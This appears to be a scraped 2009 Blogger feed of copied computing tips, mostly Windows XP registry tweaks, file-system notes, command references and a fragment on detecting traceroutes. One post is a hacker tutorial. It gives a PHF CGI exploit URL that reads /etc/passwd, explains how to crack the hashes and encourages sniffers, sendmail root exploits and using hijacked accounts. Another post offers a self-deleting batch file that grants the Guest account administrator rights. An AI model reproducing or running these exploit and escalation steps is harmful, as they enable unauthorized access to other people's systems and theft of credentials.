3 126 ms 261 ms 219 ms 203.90.66.9

4 121 ms 115 ms 228 ms delswp2.hclinfinet.com [203.90.66.133]

5 727 ms 725 ms 711 ms 203-195-147-250.now-india.net.in [203.195.147.250]

6 1006 ms 794 ms 952 ms core-fae-0-0.now-india.net.in [203.195.147.3]

7 826 ms 731 ms 819 ms 213.232.106.9

8 885 ms 744 ms 930 ms 213.166.3.209

9 851 ms 1020 ms 1080 ms 213.232.64.54

10 1448 ms 765 ms 1114 ms pos8-0.core2.London1.Level3.net [212.113.0.118]

11 748 ms 789 ms 750 ms ge-4-2-1.mp2.London1.Level3.net [212.187.131.146]

12 719 ms 733 ms 846 ms so-3-0-0.mp1.London2.Level3.net [212.187.128.46]

13 775 ms 890 ms 829 ms so-1-0-0.mp2.Weehawken1.Level3.net [212.187.128.138]

14 853 ms 852 ms 823 ms so-3-0-0.mp1.SanJose1.Level3.net [64.159.1.129]

15 889 ms 816 ms 803 ms so-7-0-0.gar1.SanJose1.Level3.net [64.159.1.74]

16 * * * Request timed out.

17 * * * Request timed out.

18 * * * Request timed out.

19 * * * Request timed out.

20 * * * Request timed out.

21 * * * Request timed out.

22 * * * Request timed out.

23 * * * Request timed out.

24 * * * Request timed out.

25 * * * Request timed out.

26 * * * Request timed out.

27 * * * Request timed out.

28 * * * Request timed out.

29 * * * Request timed out.

30 * * * Request timed out.

Trace complete.

I performed the same tracert many times a day but concluded with the same result. This indicates that the systems after the router SanJose1.Level3.net has firewalls installed which prevents the outgoing of data packets.

Detecting Traceroute Attempts on your System

You can detect that an attacker is performing a traceroute on your system, if you see the following symptoms:

1. If you observe port scans on very high UDP ports. This symptom means that the attacker has performed a traceroute on your system. However, it could also mean a simply port scan. Either way, it signifies the fact that your system is being scanned.

2. If the packet-monitoring tool installed in your network, picks up several outgoing TTL-exceeding messages, then it is yet another sign that someone is doing a traceroute on your system.

3. If in these log files, you also observer an outgoing ICMP port unreachable error message, then it means that since a traceroute was done on your system and as the target system i.e. your system, was reached, it responded with this error message.

You can also find our more information on the attacker (if he performs a traceroute on your system) by simply studying the sniffer log files. If you observer the TTL values, then we can easily figure out the following information on the attacker by making use of OS detection techniques discussed earlier in this white paper:

Enable Right Clicks on The Sites That Disable it

noreply@blogger.com (Veerendra Patil) — Mon, 30 Mar 2009 05:41:00 +0000

Lots of web sites have disabled the right click function of the mouse button... it's really, really annoying. This is done so that you don't steal (via right-click->save picture) their photos or images or any other goodies. Unfortunately, it disables ALL right-click functionality: copy, paste, open in new window.

It's easy to change, assuming your using IE 6:
Click "Tools"->"Internet Options"
Click the "Security" tab
Click "Custom Level"
Scroll down to the "Scripting" section
Set "Active Scripting" to "disable"
Click "Ok" a couple of times.

You'll probably want to turn this back to "enable" when your done... 'cause generally the javascript enhances a website.

Some Info About Windows File Systems

noreply@blogger.com (Veerendra Patil) — Mon, 30 Mar 2009 05:32:00 +0000

For most users running Windows XP, NTFS is the obvious choice. It's more powerful and offers security advantages not found in the other file systems. But let's go over the differences among the files systems so we're all clear about the choice. There are essentially three different file systems available in Windows XP: FAT16, short for File Allocation Table, FAT32, and NTFS, short for NT File System.

FAT16

The FAT16 file system was introduced way back with MS–DOS in 1981, and it's showing its age. It was designed originally to handle files on a floppy drive, and has had minor modifications over the years so it can handle hard disks, and even file names longer than the original limitation of 8.3 characters, but it's still the lowest common denominator. The biggest advantage of FAT16 is that it is compatible across a wide variety of operating systems, including Windows 95/98/Me, OS/2, Linux, and some versions of UNIX. The biggest problem of FAT16 is that it has a fixed maximum number of clusters per partition, so as hard disks get bigger and bigger, the size of each cluster has to get larger. In a 2–GB partition, each cluster is 32 kilobytes, meaning that even the smallest file on the partition will take up 32 KB of space. FAT16 also doesn't support compression, encryption, or advanced security using access control lists.

FAT32

The FAT32 file system, originally introduced in Windows 95 Service Pack 2, is really just an extension of the original FAT16 file system that provides for a much larger number of clusters per partition. As such, it greatly improves the overall disk utilization when compared to a FAT16 file system. However, FAT32 shares all of the other limitations of FAT16, and adds an important additional limitation—many operating systems that can recognize FAT16 will not work with FAT32—most notably Windows NT, but also Linux and UNIX as well. Now this isn't a problem if you're running FAT32 on a Windows XP computer and sharing your drive out to other computers on your network—they don't need to know (and generally don't really care) what your underlying file system is.

The Advantages of NTFS

The NTFS file system, introduced with first version of Windows NT, is a completely different file system from FAT. It provides for greatly increased security, file–by–file compression, quotas, and even encryption. It is the default file system for new installations of Windows XP, and if you're doing an upgrade from a previous version of Windows, you'll be asked if you want to convert your existing file systems to NTFS. Don't worry. If you've already upgraded to Windows XP and didn't do the conversion then, it's not a problem. You can convert FAT16 or FAT32 volumes to NTFS at any point. Just remember that you can't easily go back to FAT or FAT32 (without reformatting the drive or partition), not that I think you'll want to. The NTFS file system is generally not compatible with other operating systems installed on the same computer, nor is it available when you've booted a computer from a floppy disk. For this reason, many system administrators, myself included, used to recommend that users format at least a small partition at the beginning of their main hard disk as FAT. This partition provided a place to store emergency recovery tools or special drivers needed for reinstallation, and was a mechanism for digging yourself out of the hole you'd just dug into. But with the enhanced recovery abilities built into Windows XP (more on that in a future column), I don't think it's necessary or desirable to create that initial FAT partition.

When to Use FAT or FAT32

If you're running more than one operating system on a single computer, you will definitely need to format some of your volumes as FAT. Any programs or data that need to be accessed by more than one operating system on that computer should be stored on a FAT16 or possibly FAT32 volume. But keep in mind that you have no security for data on a FAT16 or FAT32 volume—any one with access to the computer can read, change, or even delete any file that is stored on a FAT16 or FAT32 partition. In many cases, this is even possible over a network. So do not store sensitive files on drives or partitions formatted with FAT file systems.

Password File And Encrypt Software

noreply@blogger.com (Veerendra Patil) — Mon, 30 Mar 2009 04:45:00 +0000

Introduction

Passwd files are the easist and simplist ways to hack. This text will explain what they are, how to get them, how to crack them, what tools you will need, and what you can do with them. Of course the minute you sign on the account you just happened to crack because of this file, you are breaking the law. This text is for information, not illegal activites. If you choose to do illegal activies with the information from this it is no one's fault but your own.

What is a Passwd File

A passwd file is an encrypted file that contains the users on a servers passwords. The key word here is encrypted, passwd file should look something like this

root:x:0:1:0000-Admin(0000):/:/bin/ksh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
listen:x:37:4:Network Admin:/usr/net/nls:nobody:x:60001:60001:uid
nobody:/:noaccess:x:60002:60002:uid noaccess:/:
ftp:x:101:4:
FTPUser:/export/home/ftp:
rrc:uXDg04UkZgWOQ:201:4:RichardClark:/export/home/rrc

Out of that entire section the only name you could use would be rrc:uXDg04UkZgWOQ:201:4:RichardClark:/export/home/rcc Heres how you read the File

rrc:uXDg04UkZgWOQ:201:4:RichardClark:/export/home/rcc
Username: rcc
Encrypted Password: uXDg04UkZgWOQ
User number: 201
Group Number: 4
Real Name (usually): Richard Clark
Home Directory: /export/home/rrc
Type of Shell: /bin/ksh

Because it is the only name with an encrypted password.
You will never find a passwd file that has a passwd for
anything like ftp, listen, bin, etc., etc. Occasionally
using the PHF exploit or unshadowing a passwd file you can get an encrypted password for root.

PHF Exploit

First let me explain what an exploit is. An Exploit is a hole in software that allows someone to get something out of it that... Well you aren't supposed to.
The PHF exploit is a hole in CGI, that most servers have fixed now (if they have CGI). Lets just say a very popular IRC place has a problem with their CGI. Also on the subject of servers with the exploit open, many forien servers have this open. Unlike the FTP Passwd you don't even have to access their FTP or login. What you do is get a WWW browser and then in the plass for the WWW address type:
http://www.target.com/cgi-bin/phf?Qalias=j00%ffcat%20/etc/passwd
In www.target.com Place who's passwd you want to get. If you get a message like "The requested object does not exist on this server. The link you followed is either outdated, inaccurate,
or the server has been instructed not to let you have it." its not there. If you get "You have been caught on Candid Camera!" They caught you, but don't fear they rarly ever Report you. I have yet to find a server that does report. Of course if you get "root:JPfsdh1NAjIUw:0:0:Special admin sign in:/:/bin/csh
sysadm:ufcNtKNYj7m9I:0:0:
Regular Admin login:/admin:/sbin/sh
bin:*:2:2:Admin :/bin:
sys:*:3:3:Admin :/usr/src:
adm:*:4:4:Admin :/usr/adm:/sbin/sh
daemon:*:1:1: Daemon Login for daemons needing
nobody:*:65534:65534::/:
ftp:*:39:39:FTP guest login:/var/ftp:
dtodd:yYn1sav8tKzOI:101:100:John Todd:/home/dtodd:/sbin/sh
joetest:0IeSH6HfEEIs2:102:100::/home/joetest:/usr/bin/restsh"

Save the file as a text and keep it handy, because you will need it for later in the lesson.

FTP Passwd

The Passwd file on some systems is kept on FTP, which can pretty much be accessed by anyone, unless the FTP has a non-anonymous logins rule. If you are desprite to get a passwd file from a certain server (which may not even be open, so only do if you are desprite or you want to hack your own server) get an account that allows you access to their FTP. What you do is get an FTP client such as WS FTP or CuteFTP. Find the servers name and connect to it. You should get a list of Directories like "etc, hidden, incoming, pub" goto the one called etc. inside etc should be a few files like "group, passwd" if any chance you see one called shadow there is a 8/10 chance you are about to deal with a shadowed passwd. Well get the passwd file and maybe check out what else is on the server so it won't look so suspious. Anyway when you log out, run and check out your new passwd file. If you only see names like "root, daemon, FTP, nobody, ftplogin, bin" with * beside their names where the encrypted passwd should be, you got a passwd file that you cannot crack. But if it happens to have user names (like rcc:*: or ggills:*:" with a * (or another symbol) you have a shadowed passwd. Of course if you have been reading and paying attention if you have something that has a few things that look like:
"joetest:0IeSH6HfEEIs2:102:100::/home/joetest:/usr/bin/restsh"
You have gotten one you can crack .

Shadowed Passwd's

Now if you happen to find a passwd fiel that looks something like this: "joetest:*:102:100::/home/joetest:/usr/bin/restsh"
which has a user name, not a programs, you have a shadowed passwd. The shadow file has the encrypted passwords on it. Depending on the Operating System, the passwd file may be in different places. To find out what Operating system your target is running from telnet (connected to that server of course) type uname -a and it should say, if you cannot get to telnet there is other methods of finding out. Here is a guide to systems passwd file locations (taken from a text on passwd files by Kryto.) A token is the * (or other symbol) beside a shadowed passwds user name

UNIX Path Token
----------------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files/
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/ / *
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
System V Release 4.0 /etc/shadow
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
Anyway once you have the passwd file (with user names) and shadow file you can find a unshadowing program which combines the passwd file and the shadow passwd and combines them into what a regualr passwd file would be.
A unshadowing program Download Now some servers have the shadow file on retrictions so no one without a special account on the server can get to it.

Crackers

A cracker takes the passwd file and a wordlist and compares the wordlist to the passwd files encrypted passwd. Download PaceCrack95

Download PaceCrack95

John the Ripper is the greatest, but it can be gotten off any decent hacking page. Same for Cracker Jack. A Cracker will load a wordlist and a passwd file and compare the two. When it cracks a password it will tell you the user name and the unencrypted password. You don't need to write it down because the program auto saves it. Cracker Jack saves the file as jack.pot and i think John the Ripper does too. PaceCrack95 Ver. 1.1 saves it to the files name (ex., passwd.txt.db) with the exact name and makes it a .DB file. I like to keep a passwd file once i have cracked it and later try out a new passwd cracker on it with the same wordlist and see if it works...

Wordlists

Wordlists are a nessicity to cracking passwd files. They are just huge lists of words. The biggest wordlist is avaliable from here:
ftp://ftp.ox.ac.uk/pub/wordlists/
If you get a passwd file from another contry get a wordlist with the same launguage as the worlist came from, as the users would probably use words they are familier with . There are some programs which can make random numbers to what you specify but that might not be really great, since there is such a huge amount of number combinations they could use. I am not completly saying they are useless since i have cracked a password with one before, I had fashoned my own list of 4 digit numbers since people might use their phone number and well it worked .

What to do with a Cracked Passwd file

What you can do with a passwd is up to you. The nice thing to do is inform the administator of the server that, accounts on his (or her) server are insucure and possibly open to anyone hacking an account and bringing havok upon their server. Some other things you can do is fire up good ole telnet and connect to one of their ports and see what you could do with that account. The possiblities are endless. You could hack a webpage (i wouldn't do that on account of how lame it is to destruct someones piece of work.)
You could use an exploit in sendmail and get root or install a sniffer on the system and get all the passwords you could ever want from it. You could use the account to do work on OTHER servers that you sure as hell wouldn't want to do from your own. If your account is canceled you can use a hacked accounts dial up till you purchase a new one. Like I said the list goes on and on. I am sure noone wants you doing anything destuctive (its lame anyhow.) And the best thing to do is report the problem to the system admin so, if he finds out he won't freak and call your admin and tell him you have been doing naughty things or even call the cops. I hope this text was informative enough to fufill your needs

ADMINISTRATOR IN WELCOME SCREEN

noreply@blogger.com (Veerendra Patil) — Mon, 30 Mar 2009 04:36:00 +0000

When you install Windows XP an Administrator Account is created (you are asked to supply an administrator password), but the "Welcome Screen" does not give you the option to log on as Administrator unless you boot up in Safe Mode.
First you must ensure that the Administrator Account is enabled:

1 open Control Panel
2 open Administrative Tools
3 open Local Security Policy
4 expand Local Policies
5 click on Security Options
6 ensure that Accounts: Administrator account status is enabled Then follow the instructions from the "Win2000 Logon Screen Tweak" ie.
1 open Control Panel
2 open User Accounts
3 click Change the way users log on or log off
4 untick Use the Welcome Screen
5 click Apply Options
You will now be able to log on to Windows XP as Administrator in Normal Mode.

EASY WAY TO ADD THE ADMINISTRATOR USER TO THE WELCOME SCREEN.!!

noreply@blogger.com (Veerendra Patil) — Mon, 30 Mar 2009 04:35:00 +0000

Start the Registry Editor Go to:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \
Right-click an empty space in the right pane and select New > DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.

noreply@blogger.com (Veerendra Patil) — Mon, 30 Mar 2009 04:32:00 +0000

HaCk "GUEST" with Admin privileges........

open a notepad and copy text below this....

@echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.
it works...

noreply@blogger.com (Veerendra Patil) — Mon, 30 Mar 2009 04:19:00 +0000

ADDUSERS Add or list users to/from a CSV file

ARP Address Resolution Protocol

ASSOC Change file extension associations

ASSOCIAT One step file association

AT Schedule a command to run at a later time

ATTRIB Change file attributes

BOOTCFG Edit Windows boot settings

BROWSTAT Get domain, browser and PDC info

CACLS Change file permissions

CALL Call one batch program from another

CD Change Directory - move to a specific Folder

CHANGE Change Terminal Server Session properties

CHKDSK Check Disk - check and repair disk problems

CHKNTFS Check the NTFS file system

CHOICE Accept keyboard input to a batch file

CIPHER Encrypt or Decrypt files/folders

CleanMgr Automated cleanup of Temp files, recycle bin

CLEARMEM Clear memory leaks

CLIP Copy STDIN to the Windows clipboard.

CLS Clear the screen

CLUSTER Windows Clustering

CMD Start a new CMD shell

COLOR Change colors of the CMD window

COMP Compare the contents of two files or sets of files

COMPACT Compress files or folders on an NTFS partition

COMPRESS Compress individual files on an NTFS partition

CON2PRT Connect or disconnect a Printer

CONVERT Convert a FAT drive to NTFS.

COPY Copy one or more files to another location

CSVDE Import or Export Active Directory data

DATE Display or set the date

Dcomcnfg DCOM Configuration Utility

DEFRAG Defragment hard drive

DEL Delete one or more files

DELPROF Delete NT user profiles

DELTREE Delete a folder and all subfolders

DevCon Device Manager Command Line Utility

DIR Display a list of files and folders

DIRUSE Display disk usage

DISKCOMP Compare the contents of two floppy disks

DISKCOPY Copy the contents of one floppy disk to another

DNSSTAT DNS Statistics

DOSKEY Edit command line, recall commands, and create macros

DSADD Add user (computer, group..) to active directory

DSQUERY List items in active directory

DSMOD Modify user (computer, group..) in active directory

ECHO Display message on screen

ENDLOCAL End localisation of environment changes in a batch file

ERASE Delete one or more files

EXIT Quit the CMD shell

EXPAND Uncompress files

EXTRACT Uncompress CAB files

FC Compare two files

FDISK Disk Format and partition

FIND Search for a text string in a file

FINDSTR Search for strings in files

FOR Conditionally perform a command several times

FORFILES Batch process multiple files

FORMAT Format a disk

FREEDISK Check free disk space (in bytes)

FSUTIL File and Volume utilities

FTP File Transfer Protocol

FTYPE Display or modify file types used in file extension associations

GLOBAL Display membership of global groups

GOTO Direct a batch program to jump to a labelled line

HELP List of Help Commands

HFNETCHK Network Security Hotfix Checker

IF Conditionally perform a command

IFMEMBER Is the current user in an NT Workgroup

IPCONFIG Configure IP

KILL Remove a program from memory

LABEL Edit a disk label

LOCAL Display membership of local groups

LOGEVENT Write text to the NT event viewer.

LOGOFF Log a user off

LOGTIME Log the date and time in a file

MAPISEND Send email from the command line

MEM Display memory usage

MD Create new folders

MODE Configure a system device

MORE Display output, one screen at a time

MOUNTVOL Manage a volume mount point

MOVE Move files from one folder to another

MOVEUSER Move a user from one domain to another

MSG Send a message

MSIEXEC Microsoft Windows Installer

MSINFO Windows NT diagnostics

MSTSC Terminal Server Connection (Remote Desktop Protocol)

MUNGE Find and Replace text within file(s)

MV Copy in-use files

NET Manage network resources

NETDOM Domain Manager

NETSH Configure network protocols

NETSVC Command-line Service Controller

NBTSTAT Display networking statistics (NetBIOS over TCP/IP)

NETSTAT Display networking statistics (TCP/IP)

NOW Display the current Date and Time

NSLOOKUP Name server lookup

NTBACKUP Backup folders to tape

NTRIGHTS Edit user account rights

PATH Display or set a search path for executable files

PATHPING Trace route plus network latency and packet loss

PAUSE Suspend processing of a batch file and display a message

PERMS Show permissions for a user

PERFMON Performance Monitor

PING Test a network connection

POPD Restore the previous value of the current directory saved by PUSHD

PORTQRY Display the status of ports and services

PRINT Print a text file

PRNCNFG Display, configure or rename a printer

PRNMNGR Add, delete, list printers set the default printer

PROMPT Change the command prompt

PsExec Execute process remotely

PsFile Show files opened remotely

PsGetSid Display the SID of a computer or a user

PsInfo List information about a system

PsKill Kill processes by name or process ID

PsList List detailed information about processes

PsLoggedOn Who's logged on (locally or via resource sharing)

PsLogList Event log records

PsPasswd Change account password

PsService View and control services

PsShutdown Shutdown or reboot a computer

PsSuspend Suspend processes

PUSHD Save and then change the current directory

QGREP Search file(s) for lines that match a given pattern.

RASDIAL Manage RAS connections

RASPHONE Manage RAS connections

RECOVER Recover a damaged file from a defective disk.

REG Read, Set or Delete registry keys and values

REGEDIT Import or export registry settings

REGSVR32 Register or unregister a DLL

REGINI Change Registry Permissions

REM Record comments (remarks) in a batch file

REN Rename a file or files.

REPLACE Replace or update one file with another

RD Delete folder(s)

RDISK Create a Recovery Disk

RMTSHARE Share a folder or a printer

ROBOCOPY Robust File and Folder Copy

ROUTE Manipulate network routing tables

RUNAS Execute a program under a different user account

RUNDLL32 Run a DLL command (add/remove print connections)

SC Service Control

SCHTASKS Create or Edit Scheduled Tasks

SCLIST Display NT Services

ScriptIt Control GUI applications

SET Display, set, or remove environment variables

SETLOCAL Begin localisation of environment changes in a batch file

SETX Set environment variables permanently

SHARE List or edit a file share or print share

SHIFT Shift the position of replaceable parameters in a batch file

SHORTCUT Create a windows shortcut (.LNK file)

SHOWGRPS List the NT Workgroups a user has joined

SHOWMBRS List the Users who are members of a Workgroup

SHUTDOWN Shutdown the computer

SLEEP Wait for x seconds

SOON Schedule a command to run in the near future

SORT Sort input

START Start a separate window to run a specified program or command

SU Switch User

SUBINACL Edit file and folder Permissions, Ownership and Domain

SUBST Associate a path with a drive letter

SYSTEMINFO List system configuration

TASKLIST List running applications and services

TIME Display or set the system time

TIMEOUT Delay processing of a batch file

TITLE Set the window title for a CMD.EXE session

TOUCH Change file timestamps

TRACERT Trace route to a remote host

TREE Graphical display of folder structure

TYPE Display the contents of a text file

USRSTAT List domain usernames and last login

VER Display version information

VERIFY Verify that files have been saved

VOL Display a disk label

WHERE Locate and display files in a directory tree

WHOAMI Output the current UserName and domain

WINDIFF Compare the contents of two files or sets of files

WINMSD Windows system diagnostics

WINMSDP Windows system diagnostics II

WMIC WMI Commands

XCACLS Change file permissions

XCOPY Copy files and folders

DISKPART Same Like Fdisk ,Imporve Version Of Fdisk in Winxp

noreply@blogger.com (Veerendra Patil) — Sun, 15 Mar 2009 13:54:00 +0000

A Quick Unix Command Reference Guide

Alias This allows the user to view the current aliases

awk This will allow the user to search for a pattern within a file

bdiff Compares two large files together

bfs Command used to scan a large file

cal Will show a calendar

cat Concatenates and prints a file

cc A useful c compiler

cd Used to change directories

chgrb Changes a file groups ownership

chmod Changes the permission on a file

chown Used to changes the individual ownership of a file

cmp Used to compare two files together

comm Used to find the common line in two files

cp Command to copy files to another location

cu Will call another Unix System

date Returns the date and time information

df Shows all mounted drives on your machine

diff Displays the difference between two files

du Shows the disk usage in blocks for a directory

echo Echoes the data to the screen or file

ed Simple text editor

env Lists the current environment variables

ex Just another text editor

expr Evaluates a mathmatical formula

find Name should say enough used to find a file

f77 A Fortran Complier

format Initializes a floppy disk

grep Searches for a pattern within a file

help Used for when you need help

kill Will stop a running process

ln Creates a link between two files

lpr Copies the file to the line printer

ls Lists all the files in a directory

mail This allows the user to send/receive mail

mkdir Used to make new directories

more Displays a data file to the screen

mv Command used to move or rename files

nohup Allows a command to continue running when you log out

nroff Editor used to format text

passwd Allows you to change your password

pkgadd Installs a new program onto your machine

ps Shows a listing of the current processes running

pwd Displays the name of the working directory

rm Used to remove files

rmdir Used to remove directories

set Lists all the variables in the current shell

setenv Sets the environment variables

sleep Causes a process to become inactive

source Allows the user to execute a file

sort Command used to sort files

spell Used to check for spelling errors in a file

split Divides a file in half

stty Sets the terminal options

tail Will display the end of a file

tar Copies all specified files into one

touch Creates an empty file

troff Outputs formatted output

tset Sets the terminal type

umask Specify a new creation mask

uniq Compares two files

uucp A Unix to Unix execute

vi A full screen editor

vipw Opens the vi editor as well as password file for editing

volcheck Checks to see if there is a floppy disk mounted

wc Outputs detail in the full size

who Shows other people online

write Allows you to send a message to another user

! Used to repeat last used command

Some Kannada Sites

noreply@blogger.com (Veerendra Patil) — Sun, 15 Mar 2009 12:55:00 +0000

Karnataka Government Site

Kannada Cyber Law Site

Learn Kannada Online

Dakshina Kannada

Zee Kannada New Channel

Baraha Font Download

Shree Lipi Font Download

Info About Karnataka And Kannada Films Industries

Our Karnataka

Kannada Kavi

Karnataka Rakshana Vedike

Kannada Music World

Kannada Saahithya

Karnataka News Papers

Kannada Music Sites For Entertainment

noreply@blogger.com (Veerendra Patil) — Sun, 15 Mar 2009 12:14:00 +0000

Udbhava

Kannadaaudio

Some Windows Xp Tricks

noreply@blogger.com (Veerendra Patil) — Sun, 15 Mar 2009 07:58:00 +0000

Lock known dll's list and make your computer a bit more safer

Folks, You may be wondering that I am talking about making your computer a bit more safer even though my very site was hacked on 1/14/2002. As it stands I have kept this site simple and I do not control the webhosting part. Anyway it is a good idea to keep your computer safe.Open Registry by going to START-RUN and entering REGEDIT and Navigate to [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager] and look for ProtectionMode parameter. If its value is not 1 , set it to value of 1. On my computer default value is 1. Doing this will protect your list of known system dlls from being compromised. To see what is present in your known DLL list, navigate to [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\KnownDLLs] and look in the right pane. I have not yet tried this but You may even try adding some other DLLs that You feel important and should be protected. This could be risky as I have not yet tried this myself.

Microsoft has an old but informative article on it

http://support.microsoft.com/support/kb/articles/q218/4/73.asp

Customize your Start Menu setting and preferences

You can open group policy editor (gpedit.msc) and go to User Configuration \ Administrative Templates \ Start Menu and Taskbar and set a variety of preferences for your startmenu. Or if You want You can open registry editor and navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer and enable/disable various parameters by changing 1 to 0 and viceversa. I am doing a cut/paste of list available at Microsoft site. Visit the site to get details on these registry values

Registry Value:"NoSimpleStartMenu"
Registry Value:"NoStartMenuPinnedList"
Registry Value:"NoStartMenuMFUprogramsList"
Registry Value:"NoStartMenuMorePrograms"
Registry Value:"NoCommonGroups"
Registry Value:"GreyMSIAds"
Registry Value:"NoWindowsUpdate"
Registry Value:"NoStartMenuMyMusic", "NoSMMyPictures","NoFavoritesMenu","NoRecentDocsMenu"
Registry Value:"DisableMyPicturesDirChange", "DisableMyMusicDirChange", "DisableFavoritesDirChange".
Registry Value:"NoSMMyDocs"
Registry Value:"DisablePersonalDirChange"
Registry Value:"NoRecentDocsMenu"
Registry Value:"MaxRecentDocs"
Registry Value:"ClearRecentDocsOnExit"
Registry Value:"NoFavoritesMenu"
Registry Value:"{20D04FE0-3AEA-1069-A2D8-08002B30309D}" under
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum.
Registry Value:"NoNetworkConnections"
Registry Value:"NoStartMenuNetworkPlaces"
Registry Value:"NoRecentDocsNetHood"
Registry Value:"NoSMHelp"
Registry Value:"NoFind"
Registry Value:"NoRun"
Registry Value:"MemCheckBoxInRunDlg"
Registry Value:"NoResolveSearch"
Registry Value:"NoResolveTrack"
Registry Value:"ForceStartMenuLogoff"
Registry Value:"StartMenuLogoff"
Registry Value:"NoClose"
Registry Value:"NoStartMenuEjectPC"
Registry Value:"NoChangeStartMenu"
Registry Value:"NoSetTaskbar"
Registry Value:"NoInstrumentation"
Registry Value:"NoUserNameInStartMenu"

I read about this on Microsoft Web Site. Here is the link Policy Settings for the Start Menu in Windows XP (Q292504)

http://support.microsoft.com/default.aspx?scid=kb;en-us;Q292504

How startup programs get loaded in Windows at boot time ? Run keys of Windows Registry

Run keys cause programs to automatically run every time computer/XP boots up . The Windows XP registry includes the following four Run keys:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Each of these keys has a series of values. The values allow multiple entries to exist without overwriting one another. The data value for a value is a command line. There are some special considerations for the third and fourth keys in the list, the RunOnce keys: By default, Run keys are ignored when the computer starts in Safe mode. Under the RunOnce keys, You can prefix a value name with an asterisk (*) to force the associated program to run even in Safe mode. You can prefix a RunOnce value name with an exclamation point (!) to defer deletion of the value until after the command runs. Without the exclamation point prefix, a RunOnce value is deleted before the command runs. As a result, if a RunOnce operation does not run properly, the associated program is not asked to run the next time You start the computer.

Want to move a Windows XP Installation to Different Hardware. How to do that ?

In most of the scenarios (legal !), You would be doing one of the following acts:

A. Migrate a working Windows XP operating system and your installed programs to a different or more powerful computer in minimal downtime.
B. Replace a small system/boot disk drive with a larger system/boot disk drive.
C. Restore a Windows backup from a malfunctioning computer to a different computer for disaster recovery purposes

Windows Backup (Ntbackup.exe) can handle differences in hardware configuration information between computers and maintain critical registry entries that are unique to the computer to which You are migrating information. This capability means that You can migrate to new hardware by performing a full backup of the source computer and Then restoring the backup over a fresh installation of Windows XP on the destination computer.

Ntbackup.exe handles restore operations in the registry by first querying the following registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore\KeysNotToRestore
This registry key indicates to Ntbackup.exe that certain registry keys under the HKEY_LOCAL_MACHINE\SYSTEM key should not be overwritten when files are restored.

An entry that ends with a backslash (\) indicates that a key is protected and that any keys or values under that key should not be restored. If the entry ends with a backslash and an asterisk (\*), all subkeys are "merged." In this situation, "merged" means comparing the start values of the keys in the backup set with the start values that exist in the current registry, to determine the correct key to restore.

If the value of the key on the backup set has a lower start value, the backup key takes precedence. If the value of the key in the current registry has a lower start value, the current key takes precedence. This process ensures that all services and devices start correctly after a "system state" restoration, even on dissimilar hardware.

Do you have a problem with your Video ? Always going in VGA MODE ?
This happens to everyone at some point of time or other and is most likely caused by some application or third party utility overwriting your drivers files (or if you do not have had a right video driver to begin with). To verify exactly what gets loaded, follow these steps. Open registry by going to START-RUN and entering regedit. Navigate to HKEY_LOCAL_MACHINE\hardware\DeviceMap\Video . In this value of Device\Video0 points to a registry key that has the location of the video driver that Windows is configured to load. for example: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ videodriver \Device0 . Navigate to this key. Check value of "InstalledDisplayDrivers" . Its value indicates whether driver was loaded or not. If the setting shows another registry location, a third-party driver may be getting loaded

Prevent a Program From Being Displayed in the Most Frequently Used Programs List
This is easy.Open registry by going to START-RUN and entering regedit. Navigate to HKEY_CLASSES_ROOT\Applications\ Program name.exe where Program name.exe is the name of the application that you do not want to be displayed in the Most Frequently Used Programs List. Add an empty string value named NoStartPage. That's it. Reboot your computer.
IMPORTANT DISCLAIMER: Before doing anything with registry, It is very important that you take a backup of registry by exporting it. Remember even a minor mistake in registry could render your system unusable or will cause it to stop or crash. XPTOOLS is not responsible for any such damage that may occur directly or indirectly as a result of your applying these changes. Don't try it if you are not sure. Use at your own risk

Having trouble with MSDOS program ? Tips on troubleshooting.
I read a good article on http://support.microsoft.com/default.aspx?scid=kb;en-us;Q314106 at Microsoft knowledgebase website. One of the first thing to test when you are having problems with MS-DOS-based programs is the Windows Virtual DOS Machine (NTVDM) subsystem. Open START-RUN and enter command.com or cmd.exe. If you don't see a MSDOS windows coming up you of course have a problem. Check the Config.nt and Autoexec.nt files in the SystemRoot%\System32 folder for nonstandard settings.

Use a REM statement to remark out all entries except the following default entries:
Config.nt
---------
dos=high, umb
device=%SystemRoot%\System32\Himem.sys
files=20
Autoexec.nt
-----------
lh %SystemRoot%\System32\Mscdexnt.exe
lh %SystemRoot%\System32\Redir
lh %SystemRoot%\System32\Dosx
lh %SystemRoot%\System32\Nw16 (only if CSNW is installed)
lh %SystemRoot%\System32\Vwipxspx (only if CSNW is installed)

The registry entries that are associated with the NTVDM subsystem are: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment
